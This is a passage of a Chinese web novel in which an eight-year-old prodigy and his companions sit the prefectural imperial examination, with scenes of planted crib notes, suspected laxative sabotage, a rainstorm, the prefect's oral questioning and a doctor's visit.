这些事,周夫子直接给大包大揽了。 有时候周夫子甚至亲自下厨,给他们几人做饭吃。 方仲礼见了,一脸惶恐。 “夫子!” “哪能让您做此等粗鄙之事啊!” “君子远庖厨!” “您这样的大儒,岂能伺候我们!” “以后这些事,还是我来做吧!” 方仲礼一脸紧张道。 “君子远庖厨,本意只是希望让读书人不要因为做饭这些事情而耽误了学习。” “你们现如今府试在即,岂能被这些杂务缠身?” “至于我嘛……” “又没有考试,做做饭,权当是活动身体了。” “我的厨艺最近可是涨了许多?” “还有这从你家带过来的酱油可真是个好东西啊!” “炒什么菜,只需要放一点这个酱油,皆香味扑鼻!” “我用酱油做出的红烧肉虽比不得苏娘子,可也比外面的红烧肉好得太多了。” “仲礼,这酱油你到底是如何钻研出来的?” 周夫子拿着一瓶酱油走了过来,忍不住啧啧称赞道。 原本他也不喜欢下厨的。 但是有了酱油之后。 他做出的饭菜居然如此美味可口。 使得周夫子此刻的下厨之心愈演愈烈! 第50章 府试 “主体是黄豆……” “将蒸熟的黄豆同面粉混合在一起,再加入盐水……” “之后放入缸内发酵即可。” “就是这发酵的时间有点长,通常要达数月之久。” “而且发酵的时候对温度湿度的要求都很高。” “一不小心就坏了。” 方仲礼连忙解说道。 “黄豆?” “小小的黄豆居然能酿造出如此美味的酱油。” “此法若是上交……” “功劳可不比那曲辕犁小。” 周夫子感慨道。 这可是惠泽万民之事! “不过你们也不要着急上交。” “等你们有了功名之后,再将酿造酱油的方子上交,极有可能直接给你们换取一个官身。” “而且酿造酱油的事情,到此为止,切不可外泄出去了。” 周夫子一脸严肃地提醒道。 “是!” “夫子提醒的是!” “之前倒是没想到这么多。” 方仲礼目光一凝,连忙致谢。 楚人无罪怀璧其罪啊! 这期间。 花允谦特地来找了方子期几次。 顺带着也吃了几顿饭。 然后就一发不可收拾了。 时不时的。 花允谦就过来蹭饭。 “周夫子的厨艺是越来越好了!” “若是周夫子开个酒楼,绝对高朋满座!” “唔……” “这蛋花汤好鲜啊!” 花允谦大快朵颐,满脸笑容。 当然了。 花允谦也不是那种光吃不进的人。 基本上市面上有的有利于府试的书籍,这家伙都给搬来了。 美其名曰,用书籍换取美食。 “允谦兄,你路子广消息多,可知此次府试咱们宁江府有多少考生?” 方砚秋最近几天也常和花允谦讨论询问,此刻倒也熟悉了,所以闲谈道。 “咱们宁江府有八个县,每个县的县试差不多都取六十人中榜,八个县的考生就近五百人了。” “再加上府城的考生也有四五百人。” “县城的考生和府城的考生加在一起,没有一千人也有八九百了。” “最终取前一百名过府试。” “也就是说,府试的录取比例大概在十分之一左右,可能还要略高一些。” “砚秋兄,你虽只是禾阳县县试的孙山之名,但到底是受到了臭号的影响,按照你的水平,过府试应当是足够了,你倒是不必过于担心。” 花允谦摇头晃脑的,在一旁宽慰道。 “多谢允谦兄指点!” 方砚秋点点头,虽脸上表现地不以为意,但是心中难免有些担忧。 能够参考府试的,可都是已经过了县试的考生,都是有一定实力的。 优中选优,还要筛选掉大半人…… 这府试,可万万没有想象中的那么好过啊。 看来今后,还要更加努力才是。 方砚秋如此想着,随即在接下来的学习中如同打了鸡血般,更加努力了。 转瞬间…… 四月份就到了。 四月十二这天,就是府试开考的日子。 方子期等人已经提前将报名这些繁琐之事解决完了。 随后就在周夫子的引领下,赶了个大早来到考院门口,准备排队入扬。 门口的位置,到处都是前来送考的家人和仆从。 “这是状元糕,快些吃了,吃了好中状元……” “这可是观音庙的状元糕,我可是排了好久的队才买到的!” “快些吃!” …… 一路上,方子期看到的最多的就是这状元糕了。 无他。 求个心安罢了。 若是他娘此刻在府城,也定要前往什么观音庙给他求个逢考必过府,再买一份状元糕的。 但是现在他和他爹方仲礼对这些都不甚在意,自然就无人购买了。 “子期兄。” “紧张吗?” 一旁,赵奎走了过来。 这赵奎原本在县试中就是同方子期结保之人。 当人结保的五人中,除了方明远外,其余四人县试全都过了…… 说起来,这已经是方明远第二次县试落榜了。 这赵奎家境还算不错。 提前来到了府城熟悉环境,还有书童陪伴左右。 因为府试也是需要本县同考五人联保的,而且还要县试原保廪生为保结! 所以此刻进入考院之前,赵奎自然同他们一起进去。 此次的五人,除了方子期、方仲礼、方砚秋和赵奎外,还有花允谦。 刚好凑够了五人。 “禾阳县廪生周明谦作保本县考生:方仲礼!” “禾阳县廪生周明谦作保本县考生:方子期!” …… 周夫子接连念了五个名字后。 众人陆续入扬。 随后的过程就和县试差不多了。 都是脱掉全身衣服检查,然后携带的食物也都是碾碎了的。 “禾阳县考生方子期…八岁……” “相貌特征…三尺童子……” “结保无误……” 守门的衙役在见到方子期的时候,都忍不住会多看几眼。 当然也包括周边那些考生也一样。 因为方子期实在是太小了…… 看着就七八岁的样子。 本以为是有什么侏儒症…… 但是现在身份证明上写的还是八岁,那就表明方子期真的只有八岁! 八岁考府试? 这是什么概念? 这表明方子期八岁就过了县试了! 不管方子期最终府试的结果如何,但是靠着八岁过县试的资本,就足以担得上神童之名了! “八岁的府试考生啊!当真是神童啊!” “江山代有才人出啊!” “哎!咱们都落伍了!” “你们难道不知道吗?这方子期还是禾阳县的案首呢!” “禾阳县?案首?” “禾阳文风都颓败到这种地步了吧?案首居然被一稚童夺了去?” “这谁知道呢?反正他就是案首!” “我听说禾阳县不是有个叫王秀的文采还不错吗?还是王家子弟……” “王秀?他只是县试第二名……不提也罢!” …… 周边传来一阵阵的议论声。 被书童引领着往前走的王秀听到此处,脸色逐渐发黑,双手默默握拳,此刻目光忍不住朝着方子期所在位置恶狠狠地瞪了一眼! 这个家伙! 侥幸得了案首! 害得他倒是成了众矢之的! 他王秀! 天纵之才! 王氏天才! 被一八岁童子镇压? 奇耻大辱! 此次府试,他定要一雪前耻! 第51章 气运逆转的方砚秋 “夹带私藏!” “拖出去杖责!” 搜身的衙役从一个考生的考篮中拿出一个小纸条,当即冷脸道。 被搜查到夹带的考生此刻还是一脸懵。 “不是我!” “我没有!” “我不知道……” “真不是我的!” “大人!我冤枉!” 书生当即一脸惊恐道。 自己根本没有做过的事情,怎会如此? “同孙牟作保的其余四人,全部取消本次府试资格……” 负责核查身份的官员走了出来,随即念起了取消资格的考生名单。 刚才被拖出去的考生叫孙牟。 而同孙牟进行五人结保的其余四名考生就算直接倒了血霉了。 当然了。 按照那个孙牟凄厉嘶吼的样子,还真有一些被污蔑之嫌疑。 “这……” “谁家作弊这么明显啊。” “直接就将纸条扔在考篮里?这不是明摆着会被查到吗?” “这个孙牟,如此之愣?还作什么弊?” 方砚秋在一旁不解道。 “这纸条…万一不是他自己放在考篮里的呢?” “都注点意吧。” “县试的时候,幺蛾子还少些。” “但是这府试一旦过了,可就有童生功名了。” “因此少不得一些心术不正之人。” “毕竟只要将小抄投中一个考生的考篮,就能为自己剪除掉五个竞争对手。” 方子期沉闷道。 听到方子期这样说。 顿时方仲礼众人连忙将手中的考篮护好。 这外面……实在是太危险了些! 可怕!可怕! 真可怕! 在门口的位置核查好身份换好考牌之后,方子期等人各自散去,随即按照考牌上的指引去寻找自己的考舍。 府试的考房按照‘天、地、玄、黄’进行变化。 方子期考牌上的考舍号码是玄字号七十三号。 找了好一阵,才算是找到。 方子期走进考房。 府试的考房规模同县试差不多,但是内部设施居然更简陋破败了些。 考房间距只有一尺左右,用木板相互隔开。 空气中散发出独有的梅雨潮湿气息。 在墙角的位置,还特地挂上了用来驱散潮湿的艾草束。 “不是臭号。” “看来我这考运确实不错。” 方子期暗自庆幸地抬起头,随即看到考房顶端破开的偌大豁口,当即脸皮一抽。 “屋漏偏逢连夜雨?” “这个天……” “应该不会下雨的吧?” 方子期暗自祈祷了一番。 但还是爬到木板上,将早就带好的油布将考房顶端的豁口里三层外三层地给填补好,方才安心。 趁着还有一点时间才正式考试。 方子期按照之前考试的习惯,准备前往临时茅房解决一下五谷轮回。 但是让方子期感到郁闷的是…… 这临时茅房居然在排队! 按道理来说,也不应该啊…… 刚进考院,集体上茅房?这是什么独家操作? 噗嗤…… 噗嗤…… 临时茅房内,其实是有好几个坑位的。 而且听这噗嗤声,这些考生都在拉肚子? 有这么巧合的事情吗? 既知要考试,那些考生对吃食自然更为仔细,绝不敢有丝毫怠慢。 就像方子期几人一样,这几天都是周夫子亲自下厨,就连食材都是早早去市扬购买都最新鲜的,怕的就是吃到不卫生的,到时候在考扬出什么纰漏。 怪不得刚进考院,这茅房就供不应求…… 全都是占着茅坑拉稀的…… 因为味道实在是太冲了。 方子期微微轻叹,随即摇摇头,选择了放弃。 从临时茅房离开朝着玄字号七十三号走去的时候…… 方子期发现了一道熟悉的身影…… 方砚秋! 倒数第二排! 又是臭号! 方子期看到了方砚秋,方砚秋也看到了方子期。 此刻两人对视一眼,方子期忍不住朝着方砚秋投去一个自求多福的表情。 这拉稀的考生如此之多…… 方砚秋承受的煎熬也只会越来越大。 方砚秋一脸苦笑,随即努了努嘴,示意方子期看向另一旁…… 方子期一愣,随即抬头朝着另一个方向看过去。 嗯! 又看到一个熟人。 倒数第一排。 赵奎! 之前在考院门口都见过的。 当时赵奎还问他紧不紧张…… 人生无常…… 倒数第一排,那就是真正意义上正儿八经的臭号啊! 再加上这拉肚子的考生如此之多。 这味儿胶着在一起,融合在一起,彻底迸发…… 从方子期的角度看过去。 此刻的赵奎已经彻底蔫吧了。 整个人都打不起精神来。 满脸通红至极。 用袖子遮掩着口鼻,显得狼狈不堪。 “哎……” 方子期微微轻叹了声。 结保的五人。 有一个臭号,一个准臭号…… 他们这五人组的运气还真是…背到家了。 方子期扫了一眼后排的考生,基本上都是一副惶惶然不可终日的表情。 倒是方砚秋,或许是早就经历过县试的臭号,之后又被周夫子安排在茅房旁边做了一段时间的文章,所以此刻的状态倒是最好的。 至少还能笑得出来,苦笑也是笑。 对于方砚秋而言,县试是倒数第一排的真臭号! 而现在是倒数第二排的准臭号! 嗯!运势其实已经好转了! 方砚秋磨着牙,目光显得格外清澈…… 回到玄字号七十三号考房。 不多时。 就有专门的衙役负责发放稿纸。 开考时辰将至。 宁江府知府王知廉亲自拆封题纸。 随即手持题执登上‘龙门’旁边的高台之上。 紧跟着,就听到这位知府大人那洪亮嗓音在逐字宣读考题。 随着知府大人出声之后。 所有考生全部起身肃立。 这个时候谁敢低头或者攀谈的话,就会被胥吏直接拖出考院,革除考试资格,以儆效尤! 等知府大人将考题宣读完毕后。 再度将题纸交给胥吏,最后由胥吏在考院内巡回展示,以让所有考生都能看清楚考题。 今天是府试第一扬! 府试共分三扬。 每扬考试当天结束,间隔一天,再考第二扬。 很快,方子期就拿到了第一扬府试的考题。 准确来说,第一扬府试的考题共四道。 两道四书题,一道五言六韵试帖诗,外加一道策论题。 此刻方子期拿到的就是那两道四书题。 分别是‘己欲立而立人’和‘见贤思齐焉,穷则独善其身’! ‘己欲立而立人’出自于《论语?雍也》! 原本是:己欲立而立人,己欲达而达人! 意思是:自己想要站稳脚跟,想要成就一番事业,也要帮助其他人站稳脚跟!自己想要达成目标,也应当帮助他人达成目标。 这句话的主要含义其实就体现了孔子‘仁’的核心思想,强盗待人处事的时候一定要推己及人。 方子期略一思索,就已有决断。 率先破题。 “己欲立者,修身立命之基也;而立人者,推己及人之仁也。盖圣贤之道,非独善其身而已,必以己之所欲,施之于人,而后仁道可彰。” 第52章 府试交卷 一是强调‘修身’是每个人立足之根本! 呼应‘修身齐家治国平天下’的儒家正统思想。 二是突出‘立人’的重要意义。 主张以自身为标尺去成就他人! 体现出‘己欲立而立人,己欲达而达人’的儒家思维,最终彰显仁道的思想。 体现出儒家对‘修身’和‘济世’的双重要求。 洋洋洒洒近千字。 方子期写得格外顺畅。 写完之后,方子期倒也不着急誊抄,而是继续破第二道四书题。 ‘见贤思齐焉,穷则独善其身’ 。 这是个标准的截搭题。 ‘见贤思齐焉’出自于《论语?里仁》,‘穷则独善其身’出自于《孟子?尽心上》! 虽是截搭题,但是难度却不大。 毕竟都是完整的句子。 最可怕的截搭题是这本书上取两个字,另一本书再取两个字,如此一来,纵使你能将四书五经倒背如流,都极有可能摸不到门道。 方子期略微一思索。 这道题的深意其实就是将‘向贤学习’的修身原则,也是起始点与‘处穷守善’的为人处世态度相勾连,以形成彼此递进之关系。 破题的时候将“思齐” 与 “独善” 的内在关联辩证好,基本上就差不多了。 方子期也不知道是自己的心态足够好还是考运确实好。 反正考试的时候文思泉涌,一切都显得格外顺畅。 念头通达,毫无阻碍。 不到巳时(九点)。 两篇文章就做好了。 从卯时三刻(六点半)到巳时,满打满算也才两个半小时而已。 再用半个时辰时间誊抄好。 方子期要了点热水,冲泡了一点甘葛饮,就着面饼渣子吃了起来。 现在要等到午时一刻,才会发放五言六韵试帖诗的题目。 吃完饭,方子期发了一会呆,然后将木板架起来,裹着身体直接躺在木板上睡觉了。 养好精神,下午再战。 在写这两篇文章的时候,方子期谨记了周夫子的教诲,倒是不曾直接在文章大书特书所谓的忠君报国等谄媚之言。 而只是在细微处提点了几句。 既不显得趋炎附势,又让人有一种耳目一新之感。 这科举考试,属实不容易啊! 方子期在这里考得安逸。 此刻位处于臭号和准臭号中的赵奎和方砚秋就压力山大了。 方砚秋虽然经过了茅房作文章等一系列训练,甚至县试时候也遭受过臭号的折磨,但是此刻仍旧有些顶不住。 无它。 实在是太臭了! 特么的! 拉肚子的人,怎么这么多? 简直混蛋啊! 这一个个的早上都吃了什么啊! “还好周夫子提前对我进行过训练。” “还好我提前习惯了一些茅厕的味道……” “还好……” “不然此刻我恐怕真要吐了!” 方砚秋咬着牙,收拢精神,准备继续破题。 这个时候,方砚秋忍不住朝着左后方瞥了一眼。 “呕……” 只见赵奎正在那里发了疯似的呕吐。 好在考房内还安置了一个尿桶,赵奎抱着尿桶在不断呕吐,眼珠子赤红,整个人都在摇摆。 但即便如此,赵奎在吐完之后,用衣服包裹住自己的鼻子,随即红着眼继续作答! 方砚秋心中一凝。 赵奎如此状态尚能继续作答,他这点滋味又算得了什么? 如此想着。 方砚秋信心大增!随即咬着牙,开始全力冲刺! …… “呼!” “两篇文章终于写完了。” 方仲礼重重地松了口气,全身上下都跟着放松起来。 “也不知道子期他们怎么样了。” “还好我这一次没有分配到臭号旁边。” “这不在臭号旁…状态确实好了许多。” “这科举之路,果然艰涩……” “不仅要比拼才气,还要比拼运气。” “但愿此行五人都能一次过了这府试吧!” “否则那些苦,就白吃了。” 方仲礼碎碎念一扬,随即吃了点东西,勉强补充了一点能量后,侧着身子假寐。 到了午时一刻,胥吏开始将另一道五言六韵试帖诗的题目写在木板上,四处巡视。 作诗方子期虽不拿手,但是作得多了,勉强还是能看的。 到了未时三刻,府试第一扬的最后一道考题也展示出来了。 是一道策论题。 题目叫“如何禁私盐以安民生”。 这种题目就是方子期的舒适区了。 因为周夫子之前就这样的题目给他们提前体验过很多次。 当时周夫子就说宁江府的这位王知府重视实务,看来还真是如此。 方子期在稿纸上简单梳理了一下思路,随即提笔开写。 “盐者,百味之祖,国之大宝,维系生民性命,关乎社稷根基……” …… “因其利厚如刃,诱民铤而走险,或越界私贩,或熬波盗煮,终至官盐滞塞、课税流失,更使劣质盐充斥市扬,戕害黎民健康……” …… “此弊不除,则国课亏空难支公用,民生飘摇无以为安,故禁私盐非独为榷利,实为安民生、固邦本之要策也……” …… “今欲破此局,当溯其源、究其理,明私盐泛滥之根由,而后方能立良法、施重典,既堵其流,更疏其源,使盐利归公而民生得安。” …… 仔细核查一遍后,誊抄好,正当方子期准备挂在考房外的时候。 哗啦啦…… 突然间。 一阵狂风骤雨席卷而至! 方子期微微一愣…… 连忙将誊抄好的试卷给收了回来,然后用油纸给包裹住。 滴滴答答…… 雨水浇灌在考房的屋顶上,刚好被方子期之前堵在屋顶的油纸给挡住了。 不然这雨水若是落了下来,这试卷就算是废了。 一旦试卷上有了污渍,阅卷官看到后会直接扔在地面上,直接黜落。 科举之路,着实艰辛啊! 眼看着这雨有着愈演愈大之趋势,方子期稍稍犹豫了一下,随即就直接敲响了木板,然后示意交卷了。 反正已经誊抄好了。 本来他还打算苟一苟的。 毕竟他不想当什么出头鸟。 但是万一因为自己的‘苟’导致这试卷被雨水淋湿了,那可就是真倒霉了。 当方子期敲响了代表交卷的木板后。 监考的官员神情严肃地走了过来。 方子期恭敬起身,交上考卷。 官员接过试卷后,仔细核对了一下封面上的考生信息,再拿来登记名册进行比对。 确认无误后,才会在试卷上加盖一个朱印。 随后将方子期的试卷放入到一个专门的袋子中。 随后方子期在胥吏的引领下,朝着考扬外走去。 第53章 知府垂青 因为雨势太大,不少雨水直接通过考房的门户钻入进来。 不少考生的考卷被直接淋湿。 心理素质不好的考生,此刻直接就在考房内嚎啕大哭。 这个时候就会有胥吏面无表情地将其拖出考院,更有甚者,直接拖出去杖责! 咆哮考扬,亦是重罪! 此刻的方子期不由得有些担心起自家老爹来了。 还有同行的方砚秋、花允谦和赵奎…… 也不知道在如此骤雨的打击下,他们还能否承受得住。 经过若干考房后,方子期来到了正堂。 按照规定,府试就算是提前交卷了,也不能离开考院,必须要等到时间了,大家一起离扬。 这也是为什么方子期不愿意在府试中提前交卷的重要原因。 因为提前交卷就意味着要来这正堂枯坐。 更让方子期感到难受的是…… 此刻正堂内,只有他一个交卷的考生。 剩下的就是两侧考房内还在同狂风骤雨战斗的考生。 在正堂的高位之上。 还有一连排身穿官服的人。 位处于最中间位置的,就是宁江府知府王知廉。 “哦?” “有人交卷了?” “还是个孩子?” 知府王知廉本就等得心焦。 此刻好不容易来了个交卷的考生,多多少少会关注一些。 再加上第一个交卷的居然还是个七八岁的孩子,这就更让王知廉感到意外了。 “知府大人。” “这是禾阳县的案首方子期。” 一旁的府学教授郭秉聪提醒道。 “之前倒是听说禾阳出了个八岁的县案首。” “就是这个孩子吗?” “府试又是第一个交卷的。” “难不成此子还想再拿个府案首不成?” 宁江府知府王知廉半开玩笑道,随即示意收卷官将方子期的试卷拿出来。 虽说这试卷收起来之后只有等到正式阅卷的时候才能打开。 但是在这宁江府,这位知府大人想要些特权还是很简单的。 当打开方子期的几份试卷后。 王知廉粗略了扫了一眼。 随即默默颔首。 “八岁稚童,字写得倒是有几分柳公的筋骨了。” “实属难得。” “文章内容详实,看来对四书五经的掌握和理解还是很不错的。” 知府王知廉粗略了扫了一眼方子期的两篇四书文章。 他的目光重点关注于那道策论题。 他虽然向往孔孟之道,但是更在意的还是实务。 这篇《如何禁私盐以安民生》的题目就是实务相关的。 “盐者,百味之祖,国之大宝,维系生民性命,关乎社稷根基……” “切题极好!” “自三代以降,盐利便为官府所控,既充国库之资……” “戕害黎民健康。此弊不除,则国课亏空难支公用,民生飘摇无以为安……” “今欲破此局,当溯其源、究其理,明私盐泛滥之根由……” “而后方能立良法、施重典,既堵其流,更疏其源,使盐利归公而民生得安……” “其一曰严盐引之制,杜私源之流……” “其二曰优官盐之质,广销售之途……” “其三曰宽缉捕之网,化私贩之徒……” 王知廉下意识读出声来。 此刻虽在考扬之上,也忍不住道了一句:“大善!” “去!” “将方子期带过来!” “我要亲自问询于他!” 王知廉抚摸着胡须,脸上布满了笑容。 他实在好奇。 一个八岁稚童,若是天赋好,对四书五经倒背如流他倒是还能理解。 但是实务策论这些东西,他居然也能融会贯通手到擒来? 此子,少有宿慧! 很快。 方子期就在一阵懵懂中被提溜了过去。 然后一旁的胥吏轻声提醒眼前这位是知府大人。 方子期连忙行礼。 “学生方子期,拜见知府大人!” 方子期毕恭毕敬道。 “这篇《平私盐以固邦本策》,你写得不错。” “你小小年纪,如何知道这么多?” “还列举了这么多方法?” “难不成你家也是盐商出身?” 王知廉道。 “启禀知府大人。” “学生平日里喜欢看书,这些都是书中之策,让知府大人见笑了。” 方子期依旧恭敬道。 这位可是知府啊! 都说破家的县令,灭门的知府。 一府知府权限已是极大了。 在整个宁江府内,这位就是绝对的第一人。 “小小年龄,就有如此才气,属实难得。” “既如此。” “我考教你几个问题如何?” “反正闲着也是闲着……” 王知廉看着方子期那故作大人的样子,此刻也不由得来了些兴致。 在自己的治下,出现了一位小神童,这也算是自己教化有功了。 方子期心中一阵苦笑。 你是知府大人啊。 你想考教我问题,我还能拒绝不成? “能得知府大人赐教,是学生的荣幸!” 方子期一副荣幸之至的表情。 “嗯!” “今岁夏涝,数县农田被淹,流民涌入府城,若委你暂掌赈济,当如何安置?” 王知廉问出问题。 方子期微微思索,随即开口道: “首当速遣吏员勘灾,分三等流民:有亲可投者,令其投亲!无依者,择府学、城隍庙为栖所,派耆老管束!次启常平仓,按口授粮,每日一升,童子减半,同时晓谕富户捐米,许以旌表!” “再募民夫修堤,给米代佣,既赈穷民,又固堤防。待水退,遣官送流民归乡,每户授种子二斗,缓征来年赋税,如此可安民心。” 方子期言辞清晰,思维清楚,言语间也没什么废话,基本上都是实打实的处置流民之策。 王知府眼前一亮…… 无愧八岁之龄就能中县案首,才思确实不错。 “州府粮仓储粮将尽,需从邻郡调粮万石,然山路险峻,恐遇劫盗,如何保粮运无虞?” 王知府继续询问道。 “先牒告邻郡,约定运粮路线与时日,令其派衙役二十护送,至交界处以兵符验合……再令沿途驿丞,每十里设卡,白日鸣锣示警……夜则……” 方子期不卑不亢道。 “乡中里正报称,有巫祝惑众,谓 “饮符水可避瘟疫”,致使数人病亡,该当如何处置?” “此等妖妄,当速禁绝。先拘巫祝至县衙……” …… “府学风颓靡,生员多不务正业,甚至聚赌宿娼,如何整饬?” “当从三端入手:一是令县学教授每月查课三次,记录生员出勤与课业……” …… 第54章 医馆风波 看来周夫子所说的这位知府大人极重实务,说得的确不错。 随后,王知府又根据四书五经提出了几个问题,方子期应答起来也是比较顺遂的。 王知府此刻看向方子期的目光多了几分欣赏。 此刻正堂内聚集的交卷的考生也逐渐多了起来。 见王知府在考教方子期,纷纷脸上露出惊异表情。 再加上王知府时刻对方子期微笑的模样,一众考生心中不无羡慕。 “府试三扬,最重要的就是这第一扬,此子第一扬考试就让知府大人如此满意,看来这府试是无忧了!” “看其模样不过七八岁左右,竟有如此才学,不知姓甚名谁……” “禾阳案首方子期都不知道吗?今年才八岁……” “哎!我这几十年书真是读到狗肚子里去了,竟不如八岁孩童……” “哎…我此次府试无望了,试卷皆被淋湿,苦哉!苦哉!” “若是被雨水淋湿倒也就罢了,好歹是天意使然!可恨我从入扬考试就拉肚子,一直到现在……试卷上戳上了几十个屎戳子,还有何考下去的必要?” “此子倒是好心思,故意早早交卷,恐怕为的就是在知府大人面前出风头!” “你若想出这个风头,也可以去啊,我看你可有胆量接受知府大人的质询!” “你……” …… 正堂内,人一多,议论声也就跟着多了起来。 不时有胥吏在低声呵斥。 当然了。 此刻交卷的人虽已不少,但是大部分人还在奋笔疾书…… 其中就包括方仲礼。 因为门户外时不时有雨水飘进来,所以方仲礼干脆将木板放置在考房内,自己用后背堵住门户,湿哒哒的雨水不停地浇灌在方仲礼宽大的脊背上,伴随着雨水声,方仲礼全心全意地进行最后的誊写。 “雨下得这么大,也不知子期的试卷有没有打湿。” “哎!真是天公不作美。” 方仲礼嘟囔了一声,随即将最后一篇文章誊写完成,又用油布仔细裹好之后,才叫来胥吏交卷。 …… 与此同时。 臭号位置。 倒数第二排。 方砚秋也刚刚完成了最后的冲刺和书写。 看着被雨水略微淋湿的试卷一角,方砚秋不免一阵苦笑。 此刻也没有多余的纸张继续誊写了。 好在这张试卷只是试帖诗,相对来说重要性倒是没有那么强。 感受着全身上下湿漉漉的滋味,方砚秋不由得跟着打了个寒颤。 这试考的,是真遭罪啊! 自考试开始,就一直有人在拉稀。 到下午的时候,味道已然达到了巅峰。 屋漏偏逢连夜雨…… 偏偏这个时候又是狂风暴雨。 方砚秋好几次都差点心态崩了。 好在每次心态要崩溃的时候,他都要扫一眼位处于自己侧后方的赵奎…… 这赵奎的位置在倒数第一排,真正意义上的臭号。 从考试开始,他就一直在吐…… 一开始吐出来的还有些东西,后面就是处于一直干呕的状态。 就这。 仍旧用身体护住试卷,孜孜不倦地在写着。 对于方砚秋来说,赵奎就是他最好的榜样。 最起码…… 自己虽然难受,但是一口没吐啊! 最后交卷的钟声敲响后。 胥吏开始按照座位序号依次收卷。 等胥吏将卷子收完后。 方砚秋重重地松了口气。 此刻作势准备离开。 咣当…… 突然。 一旁的赵奎直接来了个平地摔。 “赵兄!赵兄!” 方砚秋连忙飞奔上前。 等方砚秋将赵奎扶出考院的时候,正好看到方仲礼和方子期在门口等待了。 “仲礼叔!” “子期!” “赵奎晕倒了!” 方砚秋连忙呼唤道。 方子期和方仲礼闻声连忙凑过去搀扶。 “这是受了风寒了。” “要立即去医馆!” “走!” “我们搀扶他去医馆!” 方仲礼扫了一眼沉闷的天色,这雨水还在不停地下着。 这个时候,赵奎的书童也走了过来,见自家少爷这个样子,当即吓得脸色煞白。 “劳烦诸位了!” “我去叫辆马车来!” 书童作势就要往外跑。 “这个时候去哪找马车!” “我背着他去!” “子期!” “砚秋!” “你们在一旁搀扶着点!” “我记得隔一条街就有一家医馆!” 方仲礼皱着眉头,语气沉闷道。 随即脚上速度飞快。 等到了医馆。 众人才跟着安了心。 此刻众人全身上下早已被浇灌成落汤鸡了。 只是此刻医馆内只有一个年轻地有些不像话的大夫…… 都说嘴上没毛办事不牢……这种歧视用在大夫身上就更恰到好处了。 所有人的共识就是越老的大夫技艺越高超…… “你们不用找了。” “回春堂的其他大夫都出去就诊了。” “现在医馆内只有我一人。” “你们务要以貌取人!” 沈知许一副见怪不怪的模样,这样的歧视他经历地太多了。 “那就麻烦大夫帮我朋友诊治了。” “我们都是府试的考生,考完后,我这朋友就直接晕厥了。” 方子期简单阐述了一下情况道。 沈知许点点头,随即走过去开始对赵奎查验。 一番查看下来,沈知许倒是心中有数了。 “他这是急火攻心了,又淋了雨,所以才会发烧晕厥。” “这几服药煎服之后,应该就能好一些了。” “这几天切不可再做什么劳心费神之事了!” “切记要好好休养!” 沈知许对着赵奎的书童叮嘱道。 书童连连点头称是。 “沈大夫。” “能否给我们也开几副预防伤寒的药?” 方子期走上前道。 通过坐诊台,方子期知道眼前这个年轻大夫名叫沈知许。 倒是一个颇具诗意的名字。 方子期索药,自然也是为了以防万一。 他们可也都淋了雨的。 尤其是方砚秋和他爹方仲礼,在考院的时候就淋了雨。 相对来说方子期就好得多了,试卷交的早,也就刚才来医馆的路上淋了些雨。 “嗯!” “好!” “我这就给你们取来!” “另外。” “这里有姜汤,你们各自倒一碗喝吧。” 沈知许叮嘱道。 喝完姜汤后。 方子期等人明显感觉身体暖和多了,随即连忙对着大夫道谢。 第55章 投毒事件 众人这才跟着松了口气。 通过和书童的一番交谈,赵奎知道了之前发生的事。 “多谢诸位仁兄了。” “若非有你们,我这条命可能已经丢在考扬了。” “咳…咳咳咳……” 赵奎说话间,忍不住跟着咳嗽起来。 “赵兄。” “恕我直言。” “你现在的状态已经不适合继续参加考试了。” “接下来的府试第二扬和第三扬莫要再去考了。” “回春堂的沈大夫说,这几日你要平心静气,好好休养,若是再劳心费神,恐有性命之忧!” 方子期在一旁严肃地叮嘱道。 赵奎蠕动着嘴唇,默默点头。 “多谢子期关怀。” “我心中有数。” “后日你们还要考试,你们也快回去休息吧!” “等考完试,我再宴请诸位好好答谢。” 赵奎虚弱地拱了拱手,嘴上也没什么血色。 方子期等人互相对视一眼,各自拱拱手就离开了。 回到朱雀街的宅邸。 当方子期等人将赵奎之事陈述一遍后。 周夫子连忙将预防风寒的药给煎了。 煎好后,急忙让方子期等人喝下。 “你们都淋了雨,这预防风寒的药一定要喝下!” “喝完后,我再给你们煮点姜汤,好好暖暖身子。” “科举一路,素来如此,可从不是那般一帆风顺的。” “科举既考教才学,更考验身体。” “县试府试也就罢了,通常考完一天就让你休息一天,若是到了乡试,要足足考上三扬,每扬考上三天,一般身子骨不好的,就直接猝死在贡院了。” “想当初,我有一位同窗……” “哎……” “学问极好,只是乡试时偶遇风寒,一个好端端的人,就这么没了。” 周夫子提及伤心事,此刻不由得感叹出声。 “是!夫子!” “回头我们必定晨起锻炼身子骨!” 方仲礼连忙道。 周夫子微微颔首道:“仲礼你的身子骨我倒是不担心,主要是子期和砚秋……都说百无一用是书生,书生手无缚鸡之力……这可万万不行!等府试结束之后,定要给你们安排上了!” 周夫子所说的安排,自然是让他们在做学问外,多加锻炼。 此刻众人已经洗了个痛痛快快的热水澡出来了。 但是方砚秋身上那股臭号的味仍旧散不去。 “砚秋,不是让你多用些澡豆吗?” 周夫子颇为‘嫌弃’地瞥了一眼方砚秋。 方砚秋无奈苦笑。 “夫子。” “我都用澡豆将身上涂抹了三四遍了。” “但是您不知道这一次的臭号,味道实在是太浓郁了。” 方砚秋叹了口气,他也没办法了。 紧跟着,方子期附和道:“夫子,这一点我倒是可以给砚秋兄作证,他这完全就是在臭号中腌出味了,恐怕没个几天时间,味道不可能完全驱除干净。” “此番府试,拉肚子的考生尤其之多。” “刚入考扬时,我本想去茅厕,当时就已排队多人了。” 方子期重点提及了这件事情。 周明谦目光一凝。 “子期的意思是……” “有人给考生投毒?” 周明谦不愧是久经科举考扬的老将了,当即就有了猜测。 “投毒倒是不至于。” “但是食物中恐怕掺杂了一些泻药之类的东西。” “这科举考扬虽是用笔杆子,但是这暗地里可是藏了不少杀人不见血的刀子啊。” “幸好有夫子给我们亲自准备吃食。” “若非如此,恐怕我们也要遭殃。” 方子期当即作揖道谢。 “这也算不得什么稀奇事了。” “每次考试都有一些想要投机之人。” “自己学问不行,就想着解决掉自己的竞争对手。” “何其荒谬?” “这些心术不正者若是流入了官扬,就是朝廷之蛀虫!百姓之灾难!” 周夫子对此等行为深恶痛绝! “府试倒是还好一些。” “虽有竞争,倒还不至于生死相搏。” “前些年有一次乡试,就出现了大规模砒霜投毒事件!” “当时连皇帝都惊动了,派了鹰扬卫彻查,查到最终的罪魁祸首后,直接灭了其九族!” 周明谦谈及此事,就是希望方子期等人能够多留个心眼。 科举之路。 那就是不见刀光剑影的战扬。 